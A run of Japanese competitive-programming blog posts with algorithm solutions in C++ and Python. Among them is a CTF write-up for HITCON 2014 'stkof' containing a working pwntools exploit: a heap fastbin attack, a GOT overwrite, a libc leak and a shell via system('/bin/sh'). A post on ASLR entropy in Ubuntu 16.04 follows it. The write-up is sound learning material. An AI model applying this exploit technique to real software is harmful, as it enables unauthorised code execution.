CODE FESTIVAL 2016 qual A: D - マス目と整数 / Grid and Integers

,

http://code-festival-2016-quala.contest.atcoder.jp/tasks/codefestival_2016_qualA_d

解けず。 A,B,Cやるだけ早解きD,E絶望のパターンは差がでないから困る。 あと部分点早解きも戦略ミスするので止めてほしい。

個人的に通って欲しい人がいくらかいるので順位を眺めたのですが、事故ったぽいひとり以外はみな$300$位台で、安心はできないがそこまで不安でもないのでよかったです。

problem

空欄のある行列が与えられるので、以下の制約を満たすように埋めれるか判定する問題。

  • 全要素は非負整数
  • 以下のように$2\times 2$に並んでいる部分の全てに対し、$a+d = b+c$が成り立つ

$$ \begin{pmatrix} a & b \\ c & d \end{pmatrix} $$

solution

$H \times W$の行列$A = \{ a_{y,x} \}$が制約を満たすとすると、ある長さ$H$の数列$p = ( p_0, p_1, \dots, p_{H-1} )$と長さ$W$の数列$q = ( q_0, q_1, \dots, q_{W-1} )$が存在して、$a_{y,x} = p_y + q_x$。 これは、 なめなのが気持ち悪いから揃えたいので移項してみる、$2 \times 2$でなくて$2 \times 3$だとどういう制約になるか考えて整理する、などから始めて辿り着ける。

この数列$p, q$を構成できるか試せばよい。 点$a_{y,x}, a_{y’,x}$を見たとき$a_{y,x} - p_y = q_x = a_{y’,x} - p_{y’}$という式が立つ。$x$方向にも同様。 ある点$a_{y,x}$を決め、一旦$p_y = a_{y,x}, q_x = 0$として、上の式を使い上下左右にこれを伝播させていけばよい。 連結成分ごとにこれを行い、別個に求める。

全要素は非負整数という制約もある。 これを満たすのは$\min p + \min q \ge 0$と同値であるが、このとき各$p_i, q_i$は全て非負にできる。 $\min p + \min q \ge 0 \land \min p \lt 0$が言えていれば、数列$p$から$q$へ$\min p$分だけ移す、つまり数列$p,q$の各要素に$- \min p, \min p$足すことで制約を保ちつつ$\min p \ge 0, \min q \ge 0$にできる。 グラフの連結成分ごとにこれを行っておく。 それぞれはこの制約を満たしていても問題になるのは、$\min p_1 + \min q_1 \ge 0 \land \min p_2 + \min q_2 \ge 0 \land \min p_1 \lt 0 \land \min q_2 \lt 0$の場合で、$\min (p_1 \oplus p_2) + \min (q_1 \oplus q_2) = \min p_1 + \min q_2 \lt 0$となり仮定が壊れる。

implementation

#include <cstdio>
#include <vector>
#include <algorithm>
#include <set>
#include <map>
#include <queue>
#include <tuple>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) y) { return (f)(begin(y), end(y), ## __VA_ARGS__); })(x)
typedef long long ll;
using namespace std;
template <class T> void setmin(T & a, T const & b) { if (b < a) a = b; }

const ll inf = ll(1e18)+9;
int main() {
    // input
    int h, w; scanf("%d%d", &h, &w);
    int n; scanf("%d", &n);
    vector<tuple<int,int,int> > q(n);
    map<int,map<int,int> > fh;
    map<int,map<int,int> > fw;
    repeat (i,n) {
        int y, x, a; scanf("%d%d%d", &y, &x, &a); -- y; -- x;
        q[i] = { y, x, a };
        fh[y][x] = a;
        fw[x][y] = a;
    }
    // compute
    bool ans = true;
    vector<ll> ph(h, inf);
    vector<ll> pw(w, inf);
    auto go = [&](int sy, int sx, int sa) {
        assert (ans);
        assert (ph[sy] == inf);
        assert (pw[sx] == inf);
        queue<tuple<int,int> > que;
        vector<bool> usedh(h, false);
        vector<bool> usedw(w, false);
        set<int> usedys;
        set<int> usedxs;
        que.push(make_tuple(sy, sx));
        ph[sy] = sa; pw[sx] = 0;
        while (not que.empty()) {
            int y, x; tie(y, x) = que.front(); que.pop();
            int a = fh[y][x];
            usedys.insert(y);
            usedxs.insert(x);
            if (pw[x] != inf and not usedh[y]) {
                usedh[y] = true;
                for (auto it : fh[y]) {
                    int nx, na; tie(nx, na) = it;
                    if (pw[nx] == inf) {
                        assert (pw[x] != inf);
                        pw[nx] = pw[x] - a + na;
                        if (not usedw[nx]) que.push(make_tuple(y, nx));
                    } else {
                        if (pw[nx] != pw[x] - a + na) { ans = false; return; }
                    }
                }
            }
            if (ph[y] != inf and not usedw[x]) {
                usedw[x] = true;
                for (auto it : fw[x]) {
                    int ny, na; tie(ny, na) = it;
                    if (ph[ny] == inf) {
                        ph[ny] = ph[y] - a + na;
                        if (not usedh[ny]) que.push(make_tuple(ny, x));
                    } else {
                        if (ph[ny] != ph[y] - a + na) { ans = false; return; }
                    }
                }
            }
        }
        ll minh = inf; for (int y : usedys) setmin(minh, ph[y]);
        ll minw = inf; for (int x : usedxs) setmin(minw, pw[x]);
        if (minh + minw < 0) { ans = false; return; }
        if (minh < 0) {
            for (int y : usedys) if (ph[y] != inf) ph[y] -= minh;
            for (int x : usedxs) if (pw[x] != inf) pw[x] += minh;
        } else if (minw < 0) {
            for (int y : usedys) if (ph[y] != inf) ph[y] += minw;
            for (int x : usedxs) if (pw[x] != inf) pw[x] -= minw;
        }
    };
    repeat (i,n) {
        int y, x, a; tie(y, x, a) = q[i];
        if (ph[y] == inf and pw[x] == inf) {
            go(y, x, a);
        }
        if (not ans) break;
        if (ph[y] == inf) ph[y] = a - pw[x];
        if (pw[x] == inf) pw[x] = a - ph[y];
        if (a != ph[y] + pw[x]) { ans = false; break; }
    }
    if (ans) {
        if (*whole(min_element, ph) + *whole(min_element, pw) < 0) ans = false;
    }
    // output
    printf("%s\n", ans ? "Yes" : "No");
    return 0;
}

CODE FESTIVAL 2016 qual A: C - 次のアルファベット / Next Letter

,

http://code-festival-2016-quala.contest.atcoder.jp/tasks/codefestival_2016_qualA_c

辞書順最小を作るので、先頭の文字からaにできるか見ていく。触ると悪化するなら無視。全部舐めて$k$が余ったら末尾の文字に使う。

#!/usr/bin/env python3
s = input()
k = int(input())
t = list(map(lambda c: ord(c)-ord('a'), s))
for i in range(len(t)):
    if t[i] != 0 and 26-t[i] <= k:
        k -= 26-t[i]
        t[i] = 0
if k:
    t[i] = (t[i]+k) % 26
    k = 0
ans = ''.join(map(lambda c: chr(c+ord('a')), t))
print(ans)




CODE FESTIVAL 2014 決勝 G - 魔方陣

,

http://code-festival-2014-final-open.contest.atcoder.jp/tasks/code_festival_final_g

$2$年越しのAC。ただしkmjpさんの解説をちら見した。

solution

「積バージョンの魔方陣」ということであるが、素因数分解してそれぞれの指数ごとに考えれば、普通の和の魔方陣の重ね合わせである。 $N \le 10^{12}$であるが$\log$がかかるのであまり大きくはならない。

魔方陣はその中心の数を$n$として以下のように試せば列挙できる。

$$ \begin{pmatrix} a & b & 3n-a-b \\ 4n-2a-b & n & 2a+b-2n \\ a+b-n & 2n-b & 2n-a \end{pmatrix} $$

これを各素因数ごとに列挙して、適当に足し合わせればよい。 回転反転は区別して持っておき、最後に$8$で割る。 座標圧縮の要領で小さくしておくと楽。

note

どの魔方陣も以下の重ね合わせで表現できるように思う。問題解くのには使えなかった。

$$ \begin{pmatrix} 2 & 0 & 1 \\ 0 & 1 & 2 \\ 1 & 2 & 0 \end{pmatrix}, \begin{pmatrix} 1 & 1 & 1 \\ 1 & 1 & 1 \\ 1 & 1 & 1 \end{pmatrix} $$

implementation

#include <iostream>
#include <vector>
#include <algorithm>
#include <array>
#include <map>
#include <numeric>
#include <tuple>
#include <cmath>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) y) { return (f)(begin(y), end(y), ## __VA_ARGS__); })(x)
typedef long long ll;
using namespace std;

vector<int> sieve_of_eratosthenes(int n) { // enumerate primes in [2,n] with O(n log log n)
    vector<bool> is_prime(n+1, true);
    is_prime[0] = is_prime[1] = false;
    for (int i = 2; i*i <= n; ++i)
        if (is_prime[i])
            for (int k = i+i; k <= n; k += i)
                is_prime[k] = false;
    vector<int> primes;
    for (int i = 2; i <= n; ++i)
        if (is_prime[i])
            primes.push_back(i);
    return primes;
}
map<ll,int> factors(ll n, vector<int> const & primes) {
    map<ll,int> result;
    for (int p : primes) {
        if (n < p *(ll) p) break;
        while (n % p == 0) {
            result[p] += 1;
            n /= p;
        }
    }
    if (n != 1) result[n] += 1;
    return result;
}

template <typename T, size_t N>
map<T,int> coordinate_compression_map(array<T,N> const & xs) { // modified: don't sort
    array<int,N> ys = {};
    whole(iota, ys, 0);
    // whole(sort, ys, [&](int i, int j) { return xs[i] < xs[j]; });
    map<T,int> f;
    for (int i : ys) {
        if (not f.count(xs[i])) { // make unique
            int j = f.size();
            f[xs[i]] = j; // f[xs[i]] has a side effect, increasing the f.size()
        }
    }
    return f;
}
template <typename T, size_t N>
array<int,N> apply_compression(map<T,int> const & f, array<T,N> const & xs) {
    array<int,N> ys = {};
    repeat (i,N) ys[i] = f.at(xs[i]);
    return ys;
}

typedef array<int,9> square_t;
square_t operator * (int a, square_t b) { repeat (i,9) b[i] *= a; return b; }
square_t operator + (square_t a, square_t b) { repeat (i,9) a[i] += b[i]; return a; }
square_t compress(square_t a) {
    return apply_compression(coordinate_compression_map(a), a);
}
const square_t initial_square  = { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } };

typedef map<square_t,ll> square_set_t;
square_set_t square_set(int n) {
    square_set_t xs;
    repeat (a,2*n+1) {
        repeat (b,2*n+1) {
            array<int,9> x = { {
                a,         b,     3*n-a-b,
                4*n-2*a-b, n,     2*a+b-2*n,
                a+b-n,     2*n-b, 2*n-a, } };
            if (*whole(min_element, x) >= 0) {
                xs[compress(x)] += 1;
            }
        }
    }
    return xs;
}
square_set_t merge_set(square_set_t const & xs, square_set_t const & ys) {
    square_set_t zs;
    for (auto x : xs) {
        for (auto y : ys) {
            square_t z = compress(x.first + 100*y.first);
            zs[z] += x.second * y.second;
        }
    }
    return zs;
}
int count_distinct(square_set_t const & xs) {
    int y = 0;
    for (auto it : xs) {
        if (whole(count, it.first, 8)) {
            y += it.second;
        }
    }
    return y;
}

int main() {
    ll n; cin >> n;
    map<square_t,ll> acc;
    acc[initial_square] += 1;
    map<ll,int> ps = factors(n, sieve_of_eratosthenes(sqrt(n) + 3));
    for (auto it : ps) {
        ll p; int cnt; tie(p, cnt) = it;
        acc = merge_set(acc, square_set(cnt));
    }
    ll ans = count_distinct(acc);
    assert (ans % 8 == 0);
    cout << ans/8 << endl;
    return 0;
}

Yukicoder No.425 ジャンケンの必勝法

,

http://yukicoder.me/problems/no/425

$4$問目が絶望ぽかったのでコンテスト中に余裕を持ってwriteupし終えてしまった回。

solution

収束するのに十分な回数simulateする。

「$k$回目までずっとあいこで次に必勝法を使う確率が$p\%$」であるような確率$q_{k,p}$を、$k$が小さい側から順に計算していく。 「$k$回目までずっとあいこで$k+1$回目に勝つ」確率$r_k$とすると、答え$\rm{ans} = \Sigma_{k \in \mathbb{N}} r_k$であるので、これを同時に求める。

implementation

#include <cstdio>
#include <array>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
using namespace std;
int main() {
    int p, q; scanf("%d%d", &p, &q);
    double ans = 1/3.;
    array<double,101> cur = {}; cur[p] = 1/3.;
    repeat (iteration,10000) {
        array<double,101> nxt = {};
        repeat (i,101) {
            // use
            ans += 1/2. * cur[i] * i/100.;
            nxt[max(0, i-q)] += 1/2. * cur[i] * i/100.;
            // don't
            ans += 1/3. * cur[i] * (100-i)/100.;
            nxt[min(100, i+q)] += 1/3. * cur[i] * (100-i)/100.;
        }
        cur.swap(nxt);
    }
    printf("%.12lf\n", ans);
    return 0;
}

Yukicoder No.424 立体迷路

,

http://yukicoder.me/problems/no/424

$1 \le s_x \le h$, $1 \le s_y \le w$とかいう文字の取り方がとても気持ち悪い。 解説放送聞いてて聞こえてきたから今回の私は助かったが、こういうのはやめよう。

solution

距離は必要ないのでbfsやdfsを適当にやればよい。$O(HW)$。

implementation

#include <iostream>
#include <vector>
#include <queue>
#include <tuple>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
using namespace std;
template <typename T, typename X> auto vectors(T a, X x) { return vector<T>(x, a); }
template <typename T, typename X, typename Y, typename... Zs> auto vectors(T a, X x, Y y, Zs... zs) { auto cont = vectors(a, y, zs...); return vector<decltype(cont)>(x, cont); }
const int dy[] = { -1, 1, 0, 0 };
const int dx[] = { 0, 0, 1, -1 };
int main() {
    // input
    int h, w; cin >> h >> w;
    int sy, sx, gy, gx; cin >> sy >> sx >> gy >> gx;
    -- sy; -- sx; -- gy; -- gx;
    vector<vector<int> > f = vectors(int(), h, w);
    repeat (y,h) repeat (x,w) {
        char c; scanf(" %c", &c);
        f[y][x] = c-'0';
    }
    // compute
    auto is_on_field = [&](int y, int x) { return 0 <= y and y < h and 0 <= x and x < w; };
    vector<vector<bool> > dp = vectors(false, h, w);
    queue<pair<int,int> > que;
    auto push = [&](int y, int x) {
        if (dp[y][x]) return;
        dp[y][x] = true;
        que.emplace(y, x);
    };
    push(sy, sx);
    while (not que.empty()) {
        int y, x; tie(y, x) = que.front(); que.pop();
        repeat (i,4) {
            int ny = y + dy[i];
            int nx = x + dx[i];
            if (not is_on_field(ny, nx)) continue;
            if (abs(f[ny][nx] - f[y][x]) <= 1) {
                push(ny, nx);
            }
        }
        repeat (i,4) {
            int ny = y + 2*dy[i];
            int nx = x + 2*dx[i];
            if (not is_on_field(ny, nx)) continue;
            if (f[ny][nx] == f[y][x] and f[y + dy[i]][x + dx[i]] < f[y][x]) {
                push(ny, nx);
            }
        }
    }
    // output
    cout << (dp[gy][gx] ? "YES" : "NO") << endl;
    return 0;
}


Yukicoder No.91 赤、緑、青の石

,

http://yukicoder.me/problems/no/91

未証明貪欲してしまった。$O(R+G+B)$でできる。 答えで二分探索すれば怪しさはない。

#include <iostream>
#include <algorithm>
#include <array>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) y) { return (f)(begin(y), end(y), ## __VA_ARGS__); })(x)
using namespace std;
int main() {
    array<int,3> a; repeat (i,3) cin >> a[i]; whole(sort, a);
    int ans = 0;
    ans += a[0];
    a[2] -= a[0];
    a[1] -= a[0];
    a[0] = 0;
    while (a[1] >= 1 and a[2] >= 3) {
        ans += 1;
        a[1] -= 1;
        a[2] -= 3;
        if (a[1] > a[2]) swap(a[1], a[2]);
    }
    ans += a[2] / 5;
    a[2] %= 5;
    cout << ans << endl;
    return 0;
}

Yukicoder No.180 美しいWhitespace (2)

,

http://yukicoder.me/problems/no/180

三分探索にするとちょっと面倒。

solution

一次関数の集合から定義される関数$f(x)$に対し、$\argmin_{x \in \mathbb{N}^{+}} f(x)$を求める問題。 図を書くと$f(x)$は下に凸っぽいので、雑に微分して$\min \{ x \mid f’(x) \ge 0 \}$を二分探索するとよい。

上側の関数と下側の関数を反転した線の傾きは広義単調増加であり、その和の傾きも広義単調増加。 よって$f(x)$は凸関数である。

implementation

#include <iostream>
#include <vector>
#include <algorithm>
#include <functional>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) y) { return (f)(begin(y), end(y), ## __VA_ARGS__); })(x)
typedef long long ll;
using namespace std;
template <class T> void setmax(T & a, T const & b) { if (a < b) a = b; }
template <class T> void setmin(T & a, T const & b) { if (b < a) a = b; }
ll binsearch(ll l, ll r, function<bool (ll)> p) { // [l, r), p is monotone
    assert (l < r);
    -- l; -- r; // (l, r]
    while (l + 1 < r) {
        ll m = (l + r + 1) / 2;
        (p(m) ? r : l) = m;
    }
    return r; // = min { x | p(x) }
}
const ll inf = ll(1e18)+9;
int main() {
    int n; cin >> n;
    vector<int> a(n), b(n); repeat (i,n) cin >> a[i] >> b[i];
    auto f = [&](ll x) {
        ll l = inf, r = 0;
        repeat (i,n) {
            setmin(l, a[i] + b[i]*x);
            setmax(r, a[i] + b[i]*x);
        }
        return r - l;
    };
    ll limit = *whole(max_element, a) + 2;
    ll ans = binsearch(1, limit, [&](ll x) {
        return f(x) <= f(x+1);
    });
    cout << ans << endl;
    return 0;
}

Yukicoder No.124 門松列(3)

,

http://yukicoder.me/problems/no/124

solution

直前のマスを記憶してdijkstra。$O(HW \log HW)$。

門松列を構成するような遷移しかできないという制約がある。 これは接続関係が単純でなくグラフにならないので、頂点にそのひとつ前の頂点の情報を載せて解決する。 何も考えなければ$O(H^2W^2)$頂点、直前の頂点の値だけ保存すれば$O(HW\max A_i)$、直前の遷移の方向だけ保存すれば$4$通りなので$O(HW)$となる。 この上で単にdijkstraでよい。

implementation

$O(HW\max A_i)$で解いた。

#include <iostream>
#include <vector>
#include <queue>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
using namespace std;
template <typename T, typename X> auto vectors(T a, X x) { return vector<T>(x, a); }
template <typename T, typename X, typename Y, typename... Zs> auto vectors(T a, X x, Y y, Zs... zs) { auto cont = vectors(a, y, zs...); return vector<decltype(cont)>(x, cont); }
const int inf = 1e9+7;
const int dy[] = { -1, 1, 0, 0 };
const int dx[] = { 0, 0, 1, -1 };
struct state_t { int y, x, last, dist; };
bool operator < (state_t const & a, state_t const & b) { return a.dist > b.dist; } // reversed, weak
bool is_kadomatsu_sequence(int a, int b, int c) {
    if (a == 0) return true;
    return ((a < b and b > c) or (a > b and b < c)) and a != c;
}
int main() {
    // input
    int w, h; cin >> w >> h;
    vector<vector<int> > m = vectors(int(), h, w);
    repeat (y,h) repeat (x,w) cin >> m[y][x];
    repeat (y,h) repeat (x,w) assert (1 <= m[y][x] and m[y][x] <= 9);
    auto is_on_field = [&](int y, int x) { return 0 <= y and y < h and 0 <= x and x < w; };
    // dijkstra
    // // initialize
    vector<vector<vector<int> > > dist = vectors(inf, h, w, 10);
    priority_queue<state_t> que; {
        state_t a;
        a.y = 0;
        a.x = 0;
        a.last = 0;
        a.dist = 0;
        que.push(a);
    }
    // // loop
    int ans = -1;
    while (not que.empty()) {
        state_t a = que.top(); que.pop();
        if (a.y == h-1 and a.x == w-1) {
            ans = a.dist;
            break;
        }
        repeat (i,4) {
            state_t b = a;
            b.y += dy[i];
            b.x += dx[i];
            b.last = m[a.y][a.x];
            b.dist += 1;
            if (not is_on_field(b.y, b.x)) continue;
            if (not is_kadomatsu_sequence(a.last, b.last, m[b.y][b.x])) continue;
            if (dist[b.y][b.x][b.last] != inf) continue;
            dist[b.y][b.x][b.last] = b.dist;
            que.push(b);
        }
    }
    // output
    cout << ans << endl;
    return 0;
}

Yukicoder No.123 カードシャッフル

,

http://yukicoder.me/problems/no/123

愚直。$N \le 50, M \le 10^5$なので$O(NM)$でやって間に合う。

pythonだと厳しい気がしてc++にしたが、その必要はなかったようだ。

#include <iostream>
#include <vector>
#include <algorithm>
#include <numeric>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) y) { return (f)(begin(y), end(y), ## __VA_ARGS__); })(x)
using namespace std;
int main() {
    int n, m; cin >> n >> m;
    vector<int> b(n); whole(iota, b, 0);
    repeat (i,m) {
        int a; cin >> a; -- a;
        rotate(b.begin(), b.begin()+a, b.begin()+a+1);
    }
    cout << b.front()+1 << endl;
    return 0;
}

HITCON CTF 2014: stkof

,

https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/stkof

ちひろさんがfastbinsで解いてたので解いた。 fastbinsは始めて。 fastbins unlink attackに関してはkatagaitaiの資料が便利だった: http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200

mallocされたpointerのlistがあるのでfastbinsを使わなくてもできるはず。こちらは先日のASISで既に使っている: https://kimiyuki.net/blog/2016/09/12/asis-ctf-finals-2016-car-market/

solution

無制限のheap buffer overflowがあるので適当にする問題。 64bitだし構造的にrevが楽なのでありがたい。

  1. mallocするchunkの(内部の)大きさは統一しておく。これが異なると異なるfastbinsに登録されるため。
  2. いくらかmallocしひとつfreeして、これをarena内のfastbinsのlistに登録させる。
  3. fastbinsに載せたchunkのmetadataを書き換える。
    • そのfdを別の位置に向ける。
    • この時点では何も制約はない。
  4. fdの指す位置$+8$、そのsize fieldにあたる位置をchunkのsizeにする。
  5. mallocする。
    • この時点でその結果であるp = malloc(size) == q+16に対しq->fd->size == sizeのcheckが存在する。
    • このq->fdがfastbinsに登録される。
  6. 再度mallocすると、先のq->fdがその結果として返される。

この後いくらかmallocを呼んでも問題ないようだ。

implementation

ubuntu 16.04環境で解いた。

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='localhost')
parser.add_argument('port', nargs='?', default=8000, type=int)
args = parser.parse_args()
context.log_level = 'debug'
p = remote(args.host, args.port)

def malloc(l):
    p.sendline(str(1))
    p.sendline(str(l))
    x = int(p.recvline())
    assert p.recvline().strip() == 'OK'
    return x
def fread(x, s):
    p.sendline(str(2))
    p.sendline(str(x))
    p.sendline(str(len(s)))
    p.send(s)
    assert p.recvline().strip() == 'OK'
def free(x):
    p.sendline(str(3))
    p.sendline(str(x))
    assert p.recvline().strip() == 'OK'
def strlen(x, ok=True):
    p.sendline(str(4))
    p.sendline(str(x))
    if ok:
        return p.recvuntil('OK\n', drop=True)

elf = ELF('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
g_cnt = 0x602100
g_list = 0x602140

prev_size = 0x0
size = 0x8
fd = 0x10
bk = 0x18
PREV_INUSE = 1

# fastbins unlink attack
chunk_size = 0x20 # this is ok if 0x30, 0x40, etc
n = chunk_size
for i in range(n):  # set g_cnt = n = chunk_size
    malloc(chunk_size - size)
free(n)
payload = ''
payload += 'A' * (chunk_size - size - 0x8)
payload += 'A' * 0x8 # prev_size (used)
payload += p64(0x20) # size, setting PREV_INUSE is allowd
payload += p64(g_cnt - size) # fd
fread(n-1, payload)
malloc(chunk_size - size)
malloc(chunk_size - size) # this call returns (g_cnt + size)

# got overwrite
payload = ''
payload += 'A' * ((g_list+8) - (g_cnt+size))
payload += p64(elf.got['strlen'])
payload += p64(elf.got['__libc_start_main'])
fread(n+2, payload)
fread(1, p64(elf.plt['printf']))  # overwrite the got.strlen with plt.printf

# leak libc address
s = strlen(2)
assert s.endswith('...\n')
libc_start_main = u64(s[: -4].ljust(8, '\0'))
log.info('__libc_start_main: %#x', libc_start_main)
libc_base = libc_start_main - libc.symbols['__libc_start_main']
log.info('libc base: %#x', libc_base)

# system('/bin/sh')
fread(1, p64(libc_base + libc.symbols['system']))  # overflow the got.strlen with system
fread(2, '/bin/sh\0')
strlen(2, ok=False)

time.sleep(1)
p.sendline('id')
p.interactive()

Entropies of ASLR/PIE in Ubuntu 16.04

,

x86_64

All entropies are too high to bruteforce. However, only the offset between shared libraries is fixed.

The entropies of heap addresses are relatively small ($13$bit, $8192$) than others. I suspect, this depends on the implementation of libc.

x86

The entropies of text or libc is $8$bit. It is hit with only $256$ trials (feasible). The stack has entropy of $11$bit ($2048$), and the heap is the same to the one of x86_64.

data

$ uname -a
Linux localhost 4.4.0-36-generic #55-Ubuntu SMP Thu Aug 11 18:01:55 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
$ gcc --version
gcc (Ubuntu 5.4.1-2ubuntu1~16.04) 5.4.1 20160904
$ gcc a.c -o x64
$ ./a.py ./x64
text:	[0x400000, 0x400000] (0x0)
heap:	[0x604000, 0x2600000] (0x1ffc000)
libc:	[0x7efc24547000, 0x7ffbedc1d000] (0xffc96d6000)
ld:	[0x7efc24910000, 0x7ffbedfe6000] (0xffc96d6000)
stack:	[0x7ffc028e8000, 0x7ffffe1e5000] (0x3fb8fd000)
heap - text:	[0x204000, 0x2200000] (0x1ffc000)
libc - text:	[0x7efc24147000, 0x7ffbed81d000] (0xffc96d6000)
ld - text:	[0x7efc24510000, 0x7ffbedbe6000] (0xffc96d6000)
stack - text:	[0x7ffc024e8000, 0x7ffffdde5000] (0x3fb8fd000)
libc - heap:	[0x7efc231d8000, 0x7ffbec94c000] (0xffc9774000)
ld - heap:	[0x7efc235a1000, 0x7ffbecd15000] (0xffc9774000)
stack - heap:	[0x7ffc00c22000, 0x7ffffcd79000] (0x3fc157000)
ld - libc:	[0x3c9000, 0x3c9000] (0x0)
stack - libc:	[0x15d3d9000, 0x103cd61b000] (0x10270242000)
stack - ld:	[0x15d010000, 0x103cd252000] (0x10270242000)
$ gcc -m32 a.c -o x86
$ ./a.py ./x86
text:	[0x8048000, 0x8048000] (0x0)
heap:	[0x8058000, 0xa03c000] (0x1fe4000)
libc:	[0xf74fa000, 0xf75f9000] (0xff000)
ld:	[0xf76db000, 0xf77da000] (0xff000)
stack:	[0xff7df000, 0xfffdc000] (0x7fd000)
heap - text:	[0x10000, 0x1ff4000] (0x1fe4000)
libc - text:	[0xef4b2000, 0xef5b1000] (0xff000)
ld - text:	[0xef693000, 0xef792000] (0xff000)
stack - text:	[0xf7797000, 0xf7f94000] (0x7fd000)
libc - heap:	[0xed4e7000, 0xef559000] (0x2072000)
ld - heap:	[0xed6c8000, 0xef73a000] (0x2072000)
stack - heap:	[0xf57f3000, 0xf7f18000] (0x2725000)
ld - libc:	[0x1e1000, 0x1e1000] (0x0)
stack - libc:	[0x8208000, 0x8abf000] (0x8b7000)
stack - ld:	[0x8027000, 0x88de000] (0x8b7000)
$ gcc -fPIE -pie a.c -o x64pie
$ ./a.py ./x64pie
text:   [0x5555ad0d9000, 0x5655488f9000] (0xff9b820000)
heap:   [0x5555af197000, 0x5655496f3000] (0xff9a55c000)
libc:   [0x7efbf9679000, 0x7ffbcf5d1000] (0xffd5f58000)
ld:     [0x7efbf9a42000, 0x7ffbcf99a000] (0xffd5f58000)
stack:  [0x7ffc00658000, 0x7ffffef0e000] (0x3fe8b6000)
heap - text:    [0x217000, 0x21fb000] (0x1fe4000)
libc - text:    [0x28b3a813f000, 0x2a9ee4af7000] (0x1eb3c9b8000)
ld - text:      [0x28b3a8508000, 0x2a9ee4ec0000] (0x1eb3c9b8000)
stack - text:   [0x29a82af0d000, 0x2aa94fdbb000] (0x10124eae000)
libc - heap:    [0x28b3a735a000, 0x2a9ee383c000] (0x1eb3c4e2000)
ld - heap:      [0x28b3a7723000, 0x2a9ee3c05000] (0x1eb3c4e2000)
stack - heap:   [0x29a82a4ac000, 0x2aa94dcfd000] (0x10123851000)
ld - libc:      [0x3c9000, 0x3c9000] (0x0)
stack - libc:   [0xeeba8000, 0x10238acd000] (0x10149f25000)
stack - ld:     [0xee7df000, 0x10238704000] (0x10149f25000)
$ gcc -m32 -fPIE -pie a.c -o x86pie
$ ./a.py ./x86pie
text:   [0x56555000, 0x56654000] (0xff000)
heap:   [0x56569000, 0x58639000] (0x20d0000)
libc:   [0xf74fa000, 0xf75f9000] (0xff000)
ld:     [0xf76db000, 0xf77da000] (0xff000)
stack:  [0xff7dc000, 0xfffda000] (0x7fe000)
heap - text:    [0x13000, 0x1ffa000] (0x1fe7000)
libc - text:    [0xa0eb2000, 0xa1093000] (0x1e1000)
ld - text:      [0xa1093000, 0xa1274000] (0x1e1000)
stack - text:   [0xa91aa000, 0xa9a78000] (0x8ce000)
libc - heap:    [0x9ef37000, 0xa0fe6000] (0x20af000)
ld - heap:      [0x9f118000, 0xa11c7000] (0x20af000)
stack - heap:   [0xa725e000, 0xa993d000] (0x26df000)
ld - libc:      [0x1e1000, 0x1e1000] (0x0)
stack - libc:   [0x8209000, 0x8ad2000] (0x8c9000)
stack - ld:     [0x8028000, 0x88f1000] (0x8c9000)
#include <stdio.h>
int main(void) {
    printf("Hello, world!\n");
    scanf("%*c");
    return 0;
}
#!/usr/bin/env python3
import sys
import os
import re
import time
import subprocess

def vmmap(s, log=False):
    acc = []
    with subprocess.Popen([ s ], stdout=subprocess.DEVNULL) as p:
        time.sleep(0.1)
        path = '/proc/%d/maps' % p.pid
        if log:
            sys.stderr.write('$ cat %s\n' % path)
        with open(path) as fh:
            for line in fh:
                if log:
                    sys.stderr.write(line)
                addr, permission, _, _, _, *name = line.split()
                addr = tuple(map(lambda s: int(s, 16), addr.split('-')))
                name = name[0] if name else None
                acc += [( addr, permission, name )]
        p.kill()
    return acc

def gather(command, n, log=False):
    f = {}
    f['text'] = []
    f['heap'] = []
    f['libc'] = []
    f['ld'] = []
    f['stack'] = []
    for i in range(n):
        for addr, permission, name in vmmap(command, log=log):
            if permission == 'r-xp' and name.endswith(os.path.basename(command)):
                f['text'] += [ addr[0] ]
            if name == '[heap]':
                f['heap'] += [ addr[0] ]
            if permission == 'r-xp' and re.search(r'/libc-\d\.\d\d\.so$', name):
                f['libc'] += [ addr[0] ]
            if permission == 'r-xp' and re.search(r'/ld-\d\.\d\d\.so$', name):
                f['ld'] += [ addr[0] ]
            if name == '[stack]':
                f['stack'] += [ addr[0] ]
    return f

import argparse
parser = argparse.ArgumentParser()
parser.add_argument('command')
parser.add_argument('-v', '--verbose', action='store_true')
parser.add_argument('-n', type=int, default=1024)
args = parser.parse_args()

f = gather(args.command, args.n, log=args.verbose)
ks = sorted(f.keys(), key=lambda k: min(f[k]))
for k in ks:
    l, r = min(f[k]), max(f[k])
    print('%s:\t[%#x, %#x] (%#x)' % (k, l, r, r-l))
for k1 in ks:
    for k2 in ks:
        if ks.index(k1) < ks.index(k2):
            diff = list(map(lambda x1, x2: x2 - x1, f[k1], f[k2]))
            l, r = min(diff), max(diff)
            print('%s - %s:\t[%#x, %#x] (%#x)' % (k2, k1, l, r, r-l))

Emmental言語の紹介と記録

,

http://esolangs.org/wiki/Emmental

良い言語である。 (面倒なだけの部分を機械に投げ付けてしまえば)けっこう書き易い。 grassとsedを足して割った感じ。

introduction

状態としては、stackとqueueをそれぞれ持ち、動的に操作できる関数空間を持つ。 命令は使い易さと簡潔さを意識して選ばれており、条件分岐は縮約命令 $\lfloor log x \rfloor$ ~とeval ?を主に用い、関数を呼び分ける形で行う。 関数定義のためのquoteによる特徴的な見ためを持つ。

詳細に関してはwiki等を見て。

examples

drop命令

